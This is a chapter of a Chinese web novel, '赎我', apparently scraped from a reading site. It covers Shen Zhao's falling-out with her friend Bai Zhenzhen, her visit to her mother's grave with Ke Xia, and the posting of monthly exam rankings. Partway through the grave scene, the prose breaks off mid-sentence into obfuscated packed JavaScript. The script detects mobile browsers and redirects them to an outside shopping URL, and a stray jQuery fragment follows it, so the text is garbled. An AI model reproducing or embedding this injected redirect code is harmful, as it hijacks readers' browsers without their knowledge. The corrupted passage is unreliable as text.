51. 良禽择木
作品:《赎我》 柯夏快步走上去扶住沈昭的背。她感受到沈昭背部疯狂起伏,泛着轻微的颤抖,再出声时声线却很冷静:“你什么意思?”
白珍真回过头去,看了一眼任盈。
任盈张大嘴巴,露出幸灾乐祸的表情。
半晌,白珍真扭头望向沈昭:“没什么意思。任盈是我朋友,你别……”
“朋友?”沈昭调整了下身位,嗤笑着打断她:“你为了她冷落我的时候,我说过半句话吗?也好,我早就想跟你说了,这个人。”
她指着任盈:“她爸就是个偷别人家业的烂人,她也不是什么好东西,白珍真,你交朋友的水准什么时候跳的楼?”
沈昭这番话半分情面也没留下来。大庭广众下被戳到痛处,任盈的脸色一下子垮下来,白珍真仍旧阴着脸,胸脯急剧上下波动着。
沈昭说完,自己也有点儿后悔。
明明是打定主意要好好谈的,怎么变成这样了呢?沈昭咬了咬唇,软下视线,张口想挽回一些局面,却被更加疾风骤雨的话阵刮了回来——
“交朋友的水准?”白珍真死死瞪着她,瞠目欲裂:“什么水准?跟你做朋友就算是水准好吗?你也不过就是在沈家讨口饭吃而已。我好歹能有个厂子,你有什么?指不定我讨饭的地方还比你大。”
似乎意识到这段关系已经腐烂到了极点,白珍真干脆将它打破得更加彻底——
“你沈昭又什么时候把我当过朋友呢?从小你就大小姐脾气,颐指气使,你怎么不反思一下为什么别人都不喜欢跟你玩儿?只有我,只有我能忍得了你。可你呢,认识个阿猫阿狗就把我当透明人。忍你那么多年我得到什么了?呵……听到你家多了几个兄弟我还有点儿畅快,你终于得报应了……”
一顿风雨飘摇的输出后,静寂无声。
沈昭呆住。
“白珍真!”柯夏浑身都被点着了,发怒的小兽一般暴喝出声打断她。
白珍真被吸引注意力,望向柯夏,唇角讽刺地一勾,再次启唇。然而,就在她开口的刹那,沈昭回过了神,沉静的声线先她一步缓缓淌了出来。
如同注射器,将冰冷的液体缓缓推入沸腾的血液。
“你在畅快什么?”
“……什么?”白珍真蹙起眉。
沈昭朝她走近几步,额头抵着额头,这恐怕是她们这辈子最近的一次。
柯夏的角度,能看到她紧攥住的拳头边缘泛着青白。
即便如此,她的面容仍然沉静得可怕。
沈昭眼底倒映着白珍真的脸,眼珠转动,扫过她五官的每一寸,轻轻启唇:“你不会觉得你很聪明吧。良禽择木而栖?那要是……”她笑出了声:“我那二十岁的哥哥未来真继承了家业,你还不得想方设法当我嫂子啊?”
“别翻脸太早。”沈昭笑着,抬起冰凉的掌心在白珍真侧脸拍了拍:“说不定以后,还得在同一屋檐下呢。”
白珍真整张脸“刷”地白了。
片刻后,一片怒红又冲刷干净了这层白。
不过,她面前的人没有给她发作的机会。沈昭回转过身,栗色大波浪旋转出一个花型,打在肩膀上。稳稳当当牵起柯夏的手:“走。”
柯夏安静地跟着沈昭走出了很长一段。
绕过了两栋教学楼,又进了银杏林,直至周围没有人烟,连操场的嬉闹声也变得稀稀拉拉,她才看见沈昭绷直的肩膀晃了晃。
她看准了时机,赶紧冲上去揽住沈昭的肩。
削薄的身形蓦地卸下了所有力,摔进她怀里。
柯夏用力把沈昭拖到长椅上,旋开一瓶水端到她面前。沈昭摆了摆手,深深地将脸埋进双肘之间。
她唇上的血色褪了个干净,连同整个上半身也因供血混乱发着抖。
看着她这样,柯夏的指尖收紧了些,在矿泉水瓶上捏出细碎的响,半晌低下头:“对不起。”
沈昭维持着原来的姿势,出声时声线沙哑:“说什么对不起。”
“如果不是你帮我出头,你就不会跟白珍真吵得那么厉害。”
“……”
沈昭淡笑了声:“留体面也得看人,跟这种人当然断得越难看越好。”
说完,她抬起手,想像往常一样摸摸柯夏的头发调笑几句作安慰。
却发现手沉得像铁块,连同校园里吹过的风也变得像刃,所触所感,全都天翻地覆地变了个样。
“……下节什么课?”她喃喃着问。
柯夏轻轻摇头:“我们不在一个班了,昭昭。”
“是啊。”沈昭的唇瓣嗫嚅了下,过了许久,她深吸一口气强灌了些力气进身体,支撑着自己站起来,身形在风里摇晃:“陪我去请假吧。”
“我要回家。”
柯夏请了假,陪沈昭打车回家。沈昭一直脱力地靠在车座上,偏着头望着窗外。
柯夏担心她,几次想搭话,却又心里明白她此刻需要独处的空间,生生摁了下去。
半晌,沈昭却自己开口了,她拍了拍前座的司机:“师傅,换个地址。”
“不去南山公馆啦小姑娘?”
“附近。”她拖着声线答道:“去南山公墓。”
停了车,沈昭叫柯夏在原地等她,不一会儿,抱了些现买的纸来。
柯夏心里隐约有数,默默地跟在沈昭后边,看着她在碑林里蜿蜒穿梭,最后在其中不起眼的一座前停住。
沈昭直接在地上坐下来,打着火苗,火舌舔到纸的刹那,窜起一丛红光。
“……哦,这我妈。”沈昭指了指墓碑,向柯夏介绍道:“本来想迁回老宅的,但这儿离我近,我爷说离我近就方便保佑我,就弄在这儿了。”
不等柯夏答复,眼睫一沉,又自顾自说下去:“你别看这照片那么清晰,我记忆里就没我妈的模样。连今天,都是我第一次自个儿来祭拜她。真够不孝的,还保佑我呢。”
柯夏想说点儿什么,喉头却泛起一阵苦涩。
最后喉间血肉翻滚下,还是消磨掉了所有语言。
她们静静地对坐,看着猩红的火焰在中间越蹿越高。
映亮沈昭的脸,映出她眼底灌满的水色。
“妈。”半晌,沈昭终于开口了。
她的声音深埋在噼啪声里,像是随着废墟被风吹散,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197423|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又像伴着火苗蹿高:“我咋办啊。到底,咋办啊。”
……
后来柯夏陪沈昭待到天色稍晚时,沈父找过来了,跟着过来的还有个高个子的男生,眉眼跟沈昭有几分相像。
柯夏猜出这人的身份,沉默地垂眼征求沈昭的意见。
沈昭全程只是怔怔地垂着眼,任由沈父和那个男生将她塞进车里。
柯夏也不好说什么了,只交代了几句学校的嘱咐,便看着车门关上,驶远。
回学校时天已经全黑下来,距离晚自习十分钟的空档。
她去的时候程鹿露正在讲台上站着清点着试卷,应该是月考的,瞅见她来,直起腰:“悄悄回来啦。”
柯夏点头。
“我都听说了。”程鹿露叹息道:“昭昭没事儿吧?”
“不知道……”柯夏拧眉道:“她爸和她……她爸把她接走了。我看她脸色不是很好,正打算给她发点儿消息。等她缓过来说不定就能回我。”
“唔,老师说月考卷子我们一起发来着,那你先给她发消息吧。”程鹿露拎着卷子走向别人:“我找别人一起发。”
来不及道谢,柯夏快步走回座位把手机放在桌上,连敲了好几句。
沈昭那边儿一潭死水,什么都没回。
发出去的消息就像扔进去的石子,连个回音都没有。
反而是另一个头像忽地从屏幕顶端降了下来。
【在干什么?】
是谢纯的消息。
看到谢纯的头像,柯夏的心脏就像被忽然托了一下,平稳了不少。她敲字回复过去:【刚陪完昭昭……她出事了。】
【听说了。】那边快速地回复:【不用担心,以我的了解,沈昭能想得开。】
柯夏的心莫名定了不少,总算松下一口气。
【我们见面说吧。】她敲字回复:【离晚自习还有几分钟。】
【我去国际部有事,不在教学楼。】谢纯回道。
【行吧……】柯夏敲完字,呼出一口气。
这个节骨眼儿,她的心真有点乱。
即便是天天都在见面,现在也会想,如果能见一面多好。
耳边响起卷子落在桌子上的声音,班级里边也开始掀起一阵动静。或鬼哭狼嚎,或欣喜的分享,柯夏想起自己月考成绩还没看呢。
她扭过头去,正巧看见程鹿露踮着脚在把成绩单往后面的墙壁上粘。
她跑过去从程鹿露手里接过胶水:“我来帮你吧。”
“啊。”程鹿露闻声垂头:“行。都找不到个凳子能踩,正好你个儿还比我高点。就贴在那儿,对,正中央就行。”
“这儿?”柯夏比划着位置。
“对。正好。”
白纸稳稳当当地敷在墙壁上,被胶水的黏度吸附。让黑色的印刷字更加清晰。
程鹿露仰着头,费劲儿地找自己名字:“这班儿就这点不好,排名每次都变来变去,我又给自己考哪儿去了……”
周围同学也渐渐围了上来。
闻声,柯夏也开始扫描成绩栏。视线终于落到自己名字的时候,心脏猛地一沉。

